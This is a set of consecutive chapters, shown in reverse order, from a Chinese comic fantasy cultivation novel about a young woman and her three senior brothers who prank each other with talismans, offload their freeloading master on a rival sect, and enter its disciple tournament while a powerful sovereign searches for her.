尤其远处那朵巨大无比的肥美蘑菇,比伞都大,一看就是蘑菇王。 肯定最好吃! 她从没见过这么大的蘑菇,饥饿感瞬间达到顶峰。 想要。 顿时跑的更快了! 蘑菇大军:……!!! 一望无际的蘑菇开始疯狂四散奔逃,像是涌动的海浪,层层叠叠。 尘土滚滚,场面壮观! 惊心动魄,堪称奇观! 江献晚看的心中发急,撒丫子追,并伸出挽留的尔康手。 “别走!别走啊!让我再薅点!” “不够吃!真的不够吃!我家人多!” 终于发现躁动的蘑菇王看着这一幕……惊呆了。 只见一个疯子,正捯饬着两条大长腿,快乐奔跑,闪电似的劈开一道蘑菇大军! 特别是那双色眯眯的视线,火辣辣的穿过众蘑菇,笔直的落在它身上。 明显是奔着它的身体来的! 第 25 章 弟子交流大会 另一边,江献晚被捏的脸颊火辣辣的。 林玉锦的脸肿起半边,才艰难的从人堆里挤出来。 怀疑人生的拿胳膊顶了顶江献晚,压低声音,“他们抽的什么东西南北风,怎么跟吃错药似的,还有,那男的怎么一直瞪我们?” 实在是那一群仙风道骨,各色华服的长老太过显眼。 中间那位容貌极为惹眼的年轻男子,更是诡异。 被拴在凳子上就算了,嘴角还塞着一团布。 白子夜分析,“你们看他的眉心和衣袍上的流火纹路。” “听说太虚宗有位辈分极长的小师叔,同咱家花花一样,身怀异火,常年云游四海,行踪成迷。难不成,他便是那位压南北帝尊一头的凤仪剑尊?” 苏清流和江献晚,又多看了两眼。 那人身着金线绣织的火凤华裳,眉心一痕妖异流金火纹,目缠情丝,夭桃秾李。 仿佛开在业火中的优昙,只瞧着,便忍不住先联想到‘艳骨生香’为其装点。 只是那嘴……塞着一团破布,一直呜呜呜,还被栓狗似的绑在凳子上,当真破坏美感。 见他们看来,直拿一双眼珠子恶狠狠的剜。 要是没那团破布堵着,恐怕张嘴就能问候他们十八代祖宗。 叫人立刻打消,见到传说中南境泰斗的钦佩敬仰。 林玉锦气的撸起袖子,毫不客气的瞪回去,口中骂骂咧咧,“认识吗?他就瞪?可显得他长俩眼珠子了!” 跟谁没有似的! 白子夜摸着下巴,“我怎么觉得,他长得好像有一点点熟悉?” 凤仪剑尊怎么这副德行? 沉默良久的秦秦犹豫片刻,含糊道:“不必管他,小师叔没事就喜欢瞪人。” 花不休:“……” 我特么烧死你! 还有你们! 四个倒反天罡的瞎眼兔崽子!!! 苏清流四人不约而同看向秦秦。 小师叔? 还真是凤仪剑尊! 林玉锦总觉得哪里不对,“剑尊前辈,为何被绑在凳子上?” 秦秦昧着良心,睁眼说瞎话,“他精神不是太好,有点疯,闭关几十年,刚放出来。” 别怪他说瞎话。 他真怕四人知道小师叔的真实身份后,马不停蹄地把自己逐出师门。 花不休:“……” 疯你奶奶个腿! 放你爹的屁! 江献晚忍不住从白子夜身后探出半个身子,细细打量那美人。 片刻后。 得出个结论。 “看上去是挺疯的。” 美则美矣,就是有毛病。 这种症状怎么跟得了狂犬病,逮谁咬谁,江献晚没好意思说。 难怪外界传言,凤仪剑尊走到哪,哪里必定山崩地裂,鸡飞狗跳,活物退避三舍。 算了,毕竟是活的剑尊,难得一见,那真是,出去能吹一辈子。 毕竟,有病的剑尊,他也是剑尊。 花不休:“……”四个没长眼珠子的孽徒! 任他瞪的眼皮抽筋,苏清流他们并不关心。 一心想要赢一波,充盈自己的小金库。 秦秦望着江献晚,耳尖浮出一点绯色。 交流大会结束后,晚晚师妹便可以认祖归宗,他们也可以常见。 他分别递给四人一块玉牌,“你们应当知道,这种交流大会半年举行一次。外门和多半内门弟子大会一个月前已经结束,今日参加大比的是一些精英内门和亲传弟子。” “待会长老们会通过阵法,将我们送入宗门秘境,投送点不一。算上你们共七十二位,每人都有一枚玉牌,上面会自动浮现各弟子排名,名次按照所得玉牌的数量。” “秘境还有一种地晶,形似冰晶,坚不可摧,一块地晶可抵一块玉牌,只是极其罕见难寻。” “你们保护自己玉牌的同时,要想办法抢夺其他弟子的玉牌,亦可以寻找地晶。” “不过我建议你们不要把精力放在寻找地晶上。” “还有,太虚宗虽主修剑法,但丹药符箓阵法这些方面也不错,因为修的杂,什么都会一点,所以比赛时没什么约束,提倡用符纸丹药之类。” “你们在秘境中寻到的灵植等,可自行安排。” 他兴许没一口气说过这么多话,深吸一口气,最后补充道:“待仅剩五人时,大比自然结束。” 林玉锦首先举手,捉住重点,“懂,抢玉牌就对了。” 秦秦颔首,“对,可以单独行动,也可以自成小组。” 苏清流四人默契的交换了一个眼神。 苏清流:“……”抢玉牌。 白子夜:“……”抢玉牌。 林玉锦:“……”无论什么损招。 江献晚:“……”抢东西啊,这题她会。 林玉锦再次迫不及待举手,“可以再讲讲重点吗?比如,名次奖励?” 苏清流三人齐刷刷的侧眸,一同火热的盯他。 他们有份吗?! 秦秦沉默了一下,“有份。” 你们是不是太自信了? 且不论内门,亲传弟子可是各个拔尖! 而且,那些弟子绝对会下意识的先针对他们。 不过,想到江献晚赤手空拳都能扯了他的腰带,秦秦诡异地生出一种,此次大会恐怕格外不平静的心理。 他们四个,跟着剑尊过的那叫一个清汤寡水,待会进了秘境,还不……抢疯了。 见江献晚听的格外认真,眼底漾出一抹笑意,缓声道:“第一名,一万极品灵石,第二名八千,第三名五千……” 林玉锦幸福的快要晕过去,掰着手指头,“一万,八千,五千,两千,我们岂不是可以得到两万五?” 偏头又道:“大师兄,第一名就交给你了,二师兄,第二是你的,我拿个第四名就成。” 江献晚听的心动。 两万五,还是极品! “小师兄,为什么你不是第三名?” 林玉锦羞涩一笑,扭捏道:“论变态,谁变态过小师妹啊,小师兄相信你。” 江献晚:“……”谢谢,不需要。 秦秦轻咳一声,领着四人扎进人堆。 两位长老扫过一行行弟子,最后落在苏清流四人身上,神色略显古怪。 他们方才立下赌注,若是凤仪剑尊的徒儿,有一个能拿头等,从前的账一笔勾销。 此事不简单。 苏清流虽天生剑骨,资质万中挑一,时云霄亦不是好打的。 两个长老微微一笑,手中同时浮出一枚玉佩,白芒渺渺之中,七十二位弟子尽数进入秘境。 一块巨大无比的灵幕出现,赫然是七十二位弟子姓名和对应的景象。 花不休喷出一簇火苗,顺便把布烧的一干二净,“水,让我喝口水!” “还有心情喝水?您倒是先看看四个徒儿都掉哪了啊,尤其是江献晚。” 第24章 我,找到她了 江献晚卷至天色泛白,做好饭,温在灶台上,才急匆匆的赶回破山头,同苏清流他们一同去太虚宗。 守山门的弟子没有再如往常般鼻孔朝天,而是神色复杂,放行。 一入山门,踩在一眼望不到头的台阶上,四师兄妹不约而同顿下脚步。 尽管在隔壁可以看到太虚宗是多么气派奢华,置身其中,才知南境第一大宗门的强悍实力和恐怖底蕴。 遥望天际,云海茫茫,古树参天,满目青翠,飞瀑如练,恍若置身于仙境,妙不可言。 大殿飞檐斗拱,气势磅礴,熠熠生辉,奢华度,令人叹为观止。 就连一眼望不到头的台阶,都蕴含着精纯浓郁的灵力! 饶是万事不萦于心的苏清流,此刻都忍不住露出同款艳羡的目光。 真特么,有钱。 白子夜灵笔也不转了,脸上温润的笑意早就破碎成扯帕子的愤恨。 “真、有、钱。” 林玉锦蹲下身子摸了摸脚下台阶,嫉妒的泪水从嘴角流出来。 “这台阶比咱们四个的命都长。” 江献晚倒没什么太多的感触,她毕竟见识过北境第一宗的豪无人性。 只是,表情略有些便秘罢了。 她的三个师兄,都是被花不休连续不断坑骗过来的。 根据首位受害者苏清流所述。 当时花不休在破山头立了块破木牌,龙飞凤舞,上写‘太虚宗分宗’五个大字。 苏清流观他虽破衫破鞋,破破烂烂。 然,奈何被花不休的大饼,砸的眼冒金星。 说什么,你与我有师徒之缘,我观你天生剑骨,根骨奇佳,定能在我的教导下成为两境一颗耀眼的新星,云云。 苏清流年少,不知人心险恶,还真被砸晕了。 以为花不休真的是什么隐世大能,特意为他,等在此处。 结果,什么太虚宗分宗,这厮就是个骗子! 然后,同样的套路,在苏清流面不改色,心灰意冷,当起犯罪同伙,两人又拐来了白子夜。 再后来,不用花不休出手。 苏清流和白子夜复刻老套路,诓林玉锦加入犯罪团伙。 江献晚自然……也是被白子夜拐回来的。 犹记得那日,桃花杏雨,她刚从黑市出来。 少年一袭白衣,站在街角,笑意温柔,仿佛春日的暖阳,花都逊色三分。 他眉眼柔和,嗓音更是浸着甜蜜饯似的。 “有三个漂亮的师兄疼哦,放心尖尖疼哦,拿命疼哦。” 江献晚脑袋一热,想尝尝被人疼的滋味,二话不说,屁颠屁颠的跟着白子夜走了。 三个师兄确实很漂亮。 也确实疼她。 可是,山头太破了吧! 遥想那日,她站在草比人高的破山头,犹豫不决。 白子夜和林玉锦委屈巴巴,眼红红的瞧她。 苏清流更是抿着唇角,恹恹的垂眸。 江献晚心一软,举手投降。 没成想,花不休是个狠角色。 成日吃他们的,花他们的,啃他们的。 扔下一堆破破烂烂的书,其他的运动量,就是把他们当沙包摔来打去。 而后下颌轻抬,眼尾轻挑,嚣张冷笑三声。 过的那叫一个生不如死、水深火热,抗揍和逃跑的能力直线飙升。 四人不约而同想到自己可怜的过往,嫉妒的蹲在台阶上左摸摸右摸摸,爱不释手。 悔恨交加之际,秦秦御剑飞来。 “晚晚师妹,你来了。” 三个少年:“……” 秦秦的眼是不是有问题,他们三个是什么隐形的人吗? 感受到三道很不友好的视线,秦秦耳尖一热,这才招呼他们,引进内门。 占地极广,足足比他们破山头大十倍的演武场,建在主峰太虚峰半山腰,此刻正是热火朝天,叽叽喳喳。 绿荫下,宽大的凉亭,仅仅内门长老坐满两桌。 刚一出现便收获一大波莫名目光,和热烈欢迎的四人,相当毛骨悚然。 且不说这群人看他们的眼神如此火辣,甚至上下其手,围着他们一通揉脸摸头,看猴一般。 之前可没这么热情! 不都是咬牙切齿瞪他们吗? 着实诡异。 而潋浮台凉亭之中,正对弈的两名男子,面前悬浮着一块灵幕,演武场风景尽收眼底。 不过,两人都没看。 云为泽落下一颗白子,“南境仙门百家,信尽数传来,并无此人,除了名字,可还有什么特征?” 帝隐长睫轻垂。 特征。 她的特征太多了。 高挑,明滟,耀眼。 乌发如瀑,腰肢细软,眼睛,很漂亮,人也,很漂亮,总之,哪里都漂亮。 帝隐缓缓摩挲着棋子,视线落在云为泽手中那颗洁白无瑕的棋子上。 还有,肤色胜雪。 可这些,他无法讲出来。 “琉璃玉骨。” 云为泽难得愣住,“琉璃玉骨……绝世炉鼎,帝隐,你莫不是与她?” 帝隐颔首。 他所行之事,不会不认。 江早早既是他的人,他定护她周全。 五指虚虚一握,一柄轻薄,剑身流转着清透水纹的长剑凭空出现在手中。 “她的剑。” 云为泽觉得自己这两日费解的次数委实有些多。 不管是帝隐与人双修,还是这把剑。 此剑乃是天地孕育,生而有灵。 又曾融入帝隐心头血,上天入地,怕是再难寻到这般惊艳的剑。 绝不逊色于他和帝隐的本命剑。 云为泽的目光久久落在长剑之上‘等等’二字,唇角浮出一丝难以言喻的弧度。 这剑,帝隐竟送了人,还是一个女人。 等等。 名字倒是有趣。 “此剑并未契约。” “只是炉鼎?” 帝隐神色淡若飘絮,眼底却泛起一丝微不可察的涟漪,“不知。” “不知?” “寻到该如何?” “带回去。” 云为泽倦懒的支起下颌,唇角一侧轻轻牵起,“帝隐,你莫不是动了凡心?” 不然为何大海捞针,要寻一人。 帝隐指腹一蜷,抿唇,未语。 江早早跑了。 招呼也不打。 她明明说下次会早来的。 一年双修,他已不惧体内龙族污秽之气,闭关之时,却不能如从前神魂安宁。 本以为是残留的浊气缘故,他将其悉数清化尽,那种感觉并未随之消散。 不知为何,那抹身影总萦绕于心头。 挥之不去,一日复一日的深刻。 他向来随心所欲,这般想,便出关,寻她。 或许,见到她,才能知道为何会有这种感觉。 并将剑还给她。 云为泽细细观他的神色,赞叹,“真的是,开了眼了。” 北帝尊,下凡尘。 他决定了,哪怕是将南境翻个底朝天,也要将这女子找出来。 不是为帝隐,单纯想瞧瞧能让北帝尊道心不稳的女子是何方神圣。 丢下北帝尊跑路,天上地上,找不出。 “此事,交于我。” 帝隐两指拂过剑身,忽然凝滞,似有所感。 在云为泽亦是侧目之际,转眸望向灵境,“不必了。” “我,找到她了。” 第23章 替我寻一人 风回雪笑的荡漾,刷地掏出两件流光溢彩的衣裳,“请看!我让人特意做的父子装!足足等了两个月!” 他晃晃指尖,又变戏法似的掏出一件,“还有你的,严格的来说,是亲子装哦。” “怎么样?我和行行是不是很有父子像?虽然你长的有点拉,好在行行没遗传你。” “拉你妹!”江献晚一拳打飞他,“你是不是怕我死的晚!” 还亲子装! 大师兄他们三个能扒了她的皮! “敢穿你就死定了!” 话虽如此,江献晚还是诚实的接过他手里的那身衣裙。 不得不说,风回雪这个骚狐狸,眼光还挺好,买的都是花枝招展,绘制着高级阵法的法衣。 穿出去,定然回头率极高。 风回雪委屈的揉了揉脸,“我不管,反正你不能跟别人说咱俩刚开始的关系,我才不是什么契约兽,你敢这么说,坏我名声,我就敢带行行跑路!” 说着,捂了江行行的耳朵,小声嘟囔,“我勉为其难吃点亏,你就说我是行行的爹。” “再说了,你不是怕人发现,刚好这绿帽子扣我头上啊!” 江献晚简直气笑了。 什么叫坏他名声? 什么叫他勉为其难吃点亏? 还有,到底是谁坏谁名声啊! “咋滴,绿帽子戴着还挺开心?” 风回雪使劲亲了一口江行行,惹的小家伙抱着他的脖子爹爹爹爹的叫。 他唇角弯了弯,昳丽的面容愈发柔软,“哼,算我说错。” “你是不是行行的娘我不知道,反正我本来就是行行的爹。” 他脱了江行行的外裳,将那套新买的衣裳给他穿上,又喜滋滋的换上自己的那套。 风回雪绯衣及地,站在开的正滟的桃花树下。 花瓣零落,少年眉目灼灼若画,宛如明珠熠熠,再挪不开眼。 手里牵着一身同样绯衣的漂亮小娃娃,格外赏心悦目,相得益彰。 风回雪修长的手指,指了指江行行和自己,“看,谁敢说我爷俩不是亲的?” 江献晚抱着胳膊打量一大一小,神色有些恍惚。 别说,江行行真的就跟这死狐狸生的似的。 得亏这狐狸是公的,不然,她确实要自我怀疑无数次。 无奈举手投降,“行行!你看着办。” 江行行咿呀咿呀。 风回雪见她答应,喜滋滋的甩出一条大尾巴晃啊晃,惹的行行去抓。 风情的狐狸眸微微上挑,说出的话何其认真,却叫人无语,“他们来做客,带不带礼物?” 江献晚:“……?” 信不信他们把你当礼物,大卸八块。 江献晚抱过还在努力撵尾巴的江行行,一边喂他吃炖灵蛋,无语地道:“我师兄他们很穷,钱都花在老婆身上了。” 听小师兄说,大师兄的裤衩都缝了两回,舍不得扔。 别看白子夜也是仙气飘飘,美若天仙,实际上中衣里衣缝缝补补又三年。 林玉锦更别提。 以前在烟雨城第一次遇到的时候,穿的那叫一个金光耀眼,骚包至极,出手又阔绰。 现在呢? 天天一身蓝袍子,半年硬是没换过一次,副业拾破烂。 虽然他们去黑市打擂台,售卖符箓丹药,能挣不少钱。 顶不住给老婆花,被花不休惦记。 久而久之,变得抠抠搜搜,一块灵石恨不能掰成十块。 风回雪嫌弃的撇撇嘴,“就知道,你们那破山头早该解散了。” 江献晚不理他,听他一句句的叨叨叨,将江行行放他膝上,“你去给行行洗澡,我去修炼。” 只要卷不死,就往死里卷。 再说,她的春潮期已经很久没有出现,就怕猛地来一下。 直到现在,还没有找到有用的办法。 除了……寻一人,结为道侣。 或是飞升。 飞升暂且不想。 找道侣? 江献晚毫不犹豫,叉掉。 男人,只会影响她赚钱的速度。 另一边。 太虚宗。 云雾缭绕,翠竹青松。 潋浮台凉亭,云为泽一袭玄色宽袍,阔袖逶逶,如墨云掠地,泛起细碎的潋滟流纹。 根根修长分明的手指慵懒的支着下颌,指尖漫不经心捻着棋子。 “北帝尊久不出世,为了一个女弟子,万里迢迢跑来南境,你那灵虚境的帝休之果不是也成?” 桌案另一端,男子银发似霜,绡衣若雪,宛如寒月映清潭,亦是仙姿佚貌。 他不急不缓落下一颗黑色棋子,“帝休之果给不了她。” “只是,随处走走。” 云为泽挑眉,像听到了什么不可思议的事情。 这人不是闭关就是闭关,非不可控制的浩劫不出,亲自来寻灵泽之露便罢。 随处走走,从他嘴里说出来怎的就如此匪夷所思? “确定不是虚古境天塌了,塔倒了,或者三域联手,准备大肆攻打两境。” 帝隐神色如水,眼底光泽清浅,“嗯。” “嗯?” 云为泽随手搁下棋子,封他的路,“那便说说,怎么个随处走走?” 头一次听北帝尊特意登门,说的不是什么毁灭性的霍乱浩劫,云为泽难得觉得新奇。 帝隐眉眼微敛,鸦翅似的墨黑长睫轻垂,仍是冰天雪地的疏离,“不说。” 云为泽:“……” 你性子这么闷,真的能把人憋死。 他推开棋盘,双手拢于袖中,“确定没发生什么不好的事?” 一点不信。 许久,灵鹤长鸣穿过积云,帝隐抬起眼睫,声似薄雾,“没有。” 云为泽不可置否,指尖慢吞吞的点在桌案,“你,没事儿吧?” 莫不是……病了? 帝隐蹙眉,隐隐有光泽流动的琉璃眸不经意地乜来。 凛若霜雪,淡若云烟。 却分明带着一丝不赞同。 云为泽接收到他的视线,慢条斯理的低眸整理衣袖,“不怪我多想,这事儿搁在你身上,还真是匪夷所思。” “也罢,你这闷葫芦既想出来转转,明日我家刚好开大会,留下瞧瞧热闹。” 帝隐手指动了动,旭日融融下雪衣随之华光流转,“还有一事。” 云为泽啧了一声,看破一切,“就知道你有事。” 帝隐垂眼,想了会儿。 勾着繁纹银丝的雪袖缓缓拂过桌案,指尖勾勒,浮出三个小字。 “替我寻一人。” “江早早……男?” “女。” 第22章 大师兄好看吗 本来准备给秦秦用的。 不过,现在敌人的敌人就是朋友。 他要了花不休,替他们解决一大拖油瓶,还让他们参加大会,化敌为友,自然不适合再坑他。 苏清流周身似有寒意聚拢,他下意识摩挲一下剑柄,漫不经心,“这么说,小师妹找人试过了?” 白子夜面色不显,只是唇角的笑意怎么看,都带着令人毛骨悚然的意味。 似笑非笑的盯紧江献晚,不放过她面上一丝反应,“来,小师妹,不如跟二师兄说说,你找谁试的?嗯?” 他一定会杀了那个狗男人的! 天涯海角! 拔筋抽骨! 嗯? 这个嗯字,仿佛深藏刀光剑影,使得江献晚心中警铃大作。 后知后觉,终于察觉到两个师兄都拿一双审视的眼睛来盯她。 想到什么,心虚的挪开视线,不敢看他们。 “找,找人试的。那个,大师兄,二师兄,你们为何用这种色眯眯的眼神看我?” 白子夜听她说找人试的,一口气卡在喉咙间,差点噎挺过去。 他勉强抬起手,压下跳的欢快的额角,笑着咬牙切齿地从牙缝里挤出一句话,“小师妹,我觉得你在玩火哦。” 熊熊怒火! 江献晚:“……?” 她怎么玩火了? 不就是画了张拉屎符吗? 至于这么生气? 江献晚茫然的去看苏清流,“大师兄?” 苏清流朝她微微一笑,散漫悠然的抬起一根手指,“乖,贴过去。” 江献晚:“……?” 只是一个拉屎符啊,没必要吧? 虽不懂两个师兄为何这般生气,大师兄的话还是要听的。 江献晚看了看茅草屋,慢吞吞的走过去,单手撑地,一头雾水贴在墙根。 她上次被罚,还是因为单挑一窝金丹巅峰的妖兽,被追了二里地。 刚养好伤,被苏清流扔在墙根,贴了整整一日的饼,都特么烤熟了! 意识到事情的严重性,江献晚眨眨眼,试图挤出一滴泪,“我再也不是你们最可爱的小师妹了吗?” 白子夜在笑,笑的迷人又温柔,“最可爱?那最可爱的小师妹说说,你是不是在外头养小宝贝了?” 江献晚手一抖,差点栽下来。 果然! 这么久了,两个师兄终于是要发现了吗? 她无意对他们隐瞒江行行的存在,可风回雪到底是个麻烦。 万一被发现,再将她逐出山头。 江献晚还是挺喜欢三个师兄的。 那……要不要坦白。 坦白了,他们见到她那么大一个儿子,会不会直接当场晕过去? 有些事,一旦瞒的久,反而更不知道该如何开口。 江献晚目光游移,神色飘忽,左手换右手,右手换左手。 这般心虚的样子,看的苏清流和白子夜心头一沉。 苏清流长剑往地上一杵,微微俯身。 声线低缓而性感。 “大师兄好看吗?” 望着那张美的雌雄莫辨的脸蛋,尤其隐隐有种厌世的神色,愈发显得勾人摄魄。 江献晚默默咽了咽口水,“……好看。” 好看是好看,但你别笑啊! “那,老二呢?” “也……也好看。” “老三呢?” “好……看。” “哦?”苏清流微微挑眉,慢悠悠直起身子,“既然好看,我倒是好奇,小师妹怎的守着家里的不要?” “三个都不够吗?” 花钱给野男人? 苏清流缓缓将剑提起,指尖若即若离的抚过他老婆,“不若,小师妹给大师兄解解惑如何?” 江献晚看着他老婆嘲笑而含着威胁似的,剑身一闪,头皮都麻了。 “大师兄,你别这样……我害怕。” 苏清流生起气来,怪吓人的。 “怕?” 苏清流两根修长的指,捏起那张扶门而出符,轻轻一晃,“那你倒是先说说,谁是你的小宝贝?” 他不是她最亲爱的大师兄了吗! 江献晚盯着他手里的符纸,脑子有些乱。 小宝贝和这张符有什么关系? 两个师兄到底想问什么啊? 心中一动,江献晚及时反应过来。 不会吧,不会吧。 他们该不会以为扶墙而出符是……那种扶墙而出吧? 就说大师兄和二师兄怎么忽然生气,舍得揍她。 还以为行行和死狐狸要被发现了呢。 对上两双严审重犯的逼人视线,江献晚慢慢垂下睫毛,哽咽地道:“晚晚只是画了张如厕符,大师兄和二师兄为何如此生气?” 苏清流和白子夜同时一愣,齐齐低头,去看手中符纸。 如、如厕符? 不是那种符吗? 扶墙而出,是因为……拉了一夜? 就说小师妹路子也没野到这种地步! 白子夜首先反应过来,就要扶她起来,回过神的苏清流抬手拦下。 他现在还有另一个问题。 既然误会了,便趁此说开也好。 “为何不愿同我们在山上住?” 白子夜眸光微动,手指微僵在半空中,继续盯江献晚。 江献晚入门半载,只要不是特殊情况,再晚也要回若水镇。 他们刚开始不好多问,后来想问又不知怎么问,才能不让小师妹觉得有负担。 可,他们既然是师兄妹,天底下最亲密的关系,有什么事情是不能说的? 白子夜抿了抿唇,语气多了几分醋意,“若水城有谁?” 三字一出,江献晚默默换回右手,含糊其辞,“那个,大师兄,二师兄,要不,等大会结束去我家坐坐?” 她实在说不出口。 坦白和风回雪的关系,他们会不会很失望? 再说,马上要参加大会,若是此刻坦白,他们仨道心不稳,影响发挥怎么办? 江献晚根本不愿承认是自己怂,下意识找各种理由。 不过,再瞒下去的话,等以后哪天他们知道了,怕是来同她生大气。 苏清流和白子夜认真地瞧她一会儿,最后一点头。 江献晚下山的时候,林玉锦的屁还没放完。 她恹恹地回到家,就连风回雪脑袋上插了三根新簪子,都没心情计较。 风回雪抱着咿呀唱童谣的江行行,两人拿一双滚圆的眼睛来盯她。 “江献晚,你今天怎么不骂我了?还一副死了丈夫的表情?” 江献晚扒拉一口饭,没好气的瞪他一眼,“明天我要参加太虚宗的弟子交流大会,还有,大会结束,我准备邀请三个师兄来家里做客,你这几日记得好好准备一下。” “哦。” 风回雪丝毫不意外,反正早晚瞒不住。 “你跟他们坦白了?” “没有。” “你那个师尊不来?” “不来,他被我们送给太虚宗了。” 风回雪摆摆手,没心情听她山头上那些破事儿。 “那到时候我跟行行来个闪亮登场,让他们三个眼前一亮怎么样?” 江献晚眉尖一抽,“你想怎么登场?” 第21章 扶墙而出 花不休心虚的垂落睫毛,继而理直气壮,抬起下颌,眼尾吊梢,“没钱!” “没钱就喷火,帝尊说了……喷到你死为止。” “排好队!以后咱们每天淬一次!” “是!” 弟子响亮应声,长老们闲来无事,拿着各种灵器过来插队。 花不休的异火,两境三域独一无二。 他既然被扔回来,当然是……要把握好机会。 机不可失,失不再来。 走过路过,不能错过! 完全不知道自己成了太虚宗弟子的四人,还在为接下来的弟子交流大会做准备。 没错,他们决定好好把握这次机会,大捞一笔。 天还没彻底亮堂,苏清流已经拿着剑,一遍又一遍熟练剑诀。 林玉锦直接把锅摆在屋外,撸起袖子,开始炒丹药。 一边随手丢进去一把灵植,嘟嘟囔囔,“大师兄喜欢口淡的。” “小师妹,你只要屎味的?要不要来点水蜜桃的试试?” 江献晚勾着符文最后一笔的手一哆嗦,微微亮起的金光刷的一下熄灭。 幽怨回眸,“说了多少遍了,那不是屎,那叫螺蛳粉味!” “不过,水蜜桃和桂花味的多炒点吧。” 还能带回去给行行和风回雪当零嘴吃。 “成,二师兄,你呢?孜然味,麻辣味,香葱味,还有什么?” 白子夜弹了弹刚画好的阴阳符,慢悠悠道:“变态辣。” 江献晚:“二师兄口味可真辣。” “不敢不敢。” “小师妹的螺蛳粉味才是极品中的极品。” “不敢不敢,二师兄莫要自谦,还是二师兄口味独特。” 两师兄妹还在互相谦虚,苏清流又是几道缥缈剑气,大步走过来。 随手拿起江献晚手边一堆符纸中的其中一张,“这是什么符?” 江献晚想了想,委婉道:“顺气符。” 苏清流指尖微僵,白子夜探过身,眼底露出讶异的神色,“顺气?是那种顺气吗?” 话说,她还要研究出多少变态符啊! “小师妹都把我带坏了。” 曾经,他画的符还很正统正常正经……直到江献晚来到破山头…… 害的他画风跟着歪到八里地。 江献晚不以为耻,得意挑眉,“不如一试?” 苏清流唇角一侧轻轻牵起,“小师妹说的对,那便试试。” 说罢,弹指一挥。 符纸悄无声息落在,正翻炒丹药的蓝袍子少年身上。 林玉锦没察觉不对,热火朝天的抡着比铁锹都大的锅铲。 扭着屁股,哼着小曲,炒的欢快又沉沦。 白子夜轻轻撞了一下江献晚的肩,“小师妹,这怎么说?” 江献晚淡定无比,“一,二……” “噗!” 一声惊人的屁声在叽叽喳喳的鸟啼声中格外的突出响亮,林玉锦的衣袍吹的鼓起一些。 他先是一怔,忙手忙脚乱的捂上自己的玉臀,耳尖刷地一下,红的快要滴出血来。 僵硬着脖子扭过头,试图狡辩,“你们听错了,不是我……” “噗!噗噗!噗噗噗!” 任他捂的紧。 腿夹的紧。 一阵惊天动地的屁声,势不可挡,响成抑扬顿挫的一连串,回响在整个破山头。 林玉锦无助摇头,羞耻的泪飙出眼眶,嗷嗷嗷直叫,“不系我,我米有……” 苏清流陷入长久的沉思:这孩子,不会拉裤兜了吧? 白子夜默默捏上鼻子,并暗暗朝江献晚竖起一个大拇指。 江献晚心虚望天。 林玉锦屁放的震天响,看起来有在用力夹紧,效果显然不怎么行。 对上两个三双诡异的目光,羞愤欲死。 死死捂着屁股,夹紧腿。 扭曲着四肢,放着屁跑了…… 白子夜目送那道欢快奔跑的身影,很是同情,“小师妹,要放多久啊?” 江献晚摸了摸鼻子,“那个……脱力吧。” 顺便还有清理体内浊气之效。 苏清流姿态懒散,眼睑耷拉,表情依旧寡淡而平静,缓缓伸出一只手。 江献晚不解的抬眸。 大师兄一脸淡定,声音端的漫不经心,“给大师兄来两张。” 江献晚很上道,搁他手中一打。 “唔……”苏清流眼底浮出点点微不可察的笑意,又开始拿起她手边的那些符箓一一询问。 “这个?” “起飞符。” “这个?” “星星点灯符。” “何为星星点灯?” “哦,就是,咻~ 砰!” “……那这个呢?” 江献晚想也没想,“扶墙而出符。” 她刚来到破山头第一日,屁股还没暖热,三个师兄两眼放光,一上来砸给她一堆书。 美其名:有难同当。 北境和南镜,不管是剑法,丹书,还是符箓这些,各自别具风格。 她拆分琢磨了一下,把南北两境的揉合在一起。 天天摁着风回雪试,还真研究出来不少乱七八糟的东西。 苏清流:“……” 白子夜:“……” 尽管知道小师妹向来不走寻常路,还很变态,但是…… 扶、扶墙而出? 是他们想的那种意思吗? 白子夜抿了唇,神色逐渐复杂,隐隐狰狞,就连苏清流都是一副欲言又止的样子。 别人的小师妹香香软软,他们的小师妹除了香香软软,还很狂,很猛。 苏清流觉得应当是自己想岔,慢慢抬眼,“那,它的效果是什么?” 江献晚挠挠脸。 这个动作看的苏清流和白子夜心里同时咯噔一声。 他们小师妹心虚,或是闯了塌天大祸时,总会不自觉的掩饰尴尬似的挠挠脸。 江献晚不好意思对着两个美少年说那个粗鲁的字,含糊其词,“就是……那个一夜……直到站不起来,扶墙而出!” 白子夜温柔的笑意早就僵在唇边,如玉的面庞裂开,唇角轻抽,喉结艰难的上下滚动一轮,“扶、墙、而、出?还,一、夜?” 为什么要画这种符啊!!! 她是要跟谁用啊!!! 还是说他小师妹真的在外头养小白脸了?! 白子夜恨不得立刻晕过去! 就说她花钱如流水。 该不会被狗男人骗身骗心骗钱了吧!!! 苏清流自然也想到了这一点,眉眼透露出几分危险的意味。 江献晚丝毫没看出来两个师兄的不对劲,得意介绍着自己伟大的发明,“是一夜,还是停不下来的那种。” 风回雪试过她的符,在茅坑蹲了整整一夜。 第二日都虚了,走个路两条腿晃的跟弹琴似的。 第20章 凤仪剑尊 白子夜弹了弹身上的泥土,“谁知道,他心眼多的跟藕似的。不过秦秦就这么把他带太虚宗,还让我们参加弟子交流大会,是挺奇怪。” 就算花不休身怀异火,可以淬剑。 他既没向掌门或长老请示,一个人就这么愉快的决定了? 江献晚神色恹恹,待看到亮起的传音玉简,好歹心情好些。 “秦秦说各位长老甚是满意,花不休昨晚喷了一晚上的火,绝对回不来。” 这么说的话……那他们就放心了。 四人并没有因自家师尊有可能是什么隐世高人而开心,反而都在庆幸终于甩掉了这个总是暴打他们的拖油瓶。 管他呢,让参加大会就成! 想到太虚宗秘境有不少好东西,白子夜面色稍霁,恢复眉眼弯弯,悠然自得的模样。 嘻!这恐怕就是报应吧! 破山头举杯同庆,另一座山头,气氛却没这么轻松。 凤仪台。 两条长长的队伍宛如游龙,从院中直排到蜿蜒山路,热闹非凡,一眼望不到边。 这个点,本该上课的各峰弟子一个不少,齐聚凤仪台。 手里皆举着各种法器,且都是一脸人逢喜事精神爽的兴奋。 毕竟,能见到传说中一直云游在外的自家剑尊,还能由剑尊亲自为他们免费淬炼老婆,可谓是天降大喜。 十几位长老坐在大大的圆桌旁心情颇好的吃着早餐,喝着牛乳茶。 谈天论地,其乐融融。 而凤仪台的主座位上,一身姿欣长,面容二五年华,长相妖冶艳美的男子。 被八条覆着一层薄薄冰层的锁链,捆的结结实实。 浑身上下,除了嘴,无法动弹。 只不过那嘴,跟个风火轮似的。 “艹你爹!” “劳资喷了一夜的火!” “你们这群王八羔子好歹给口吃的!” “滚蛋!把你的破剑拿远点!” 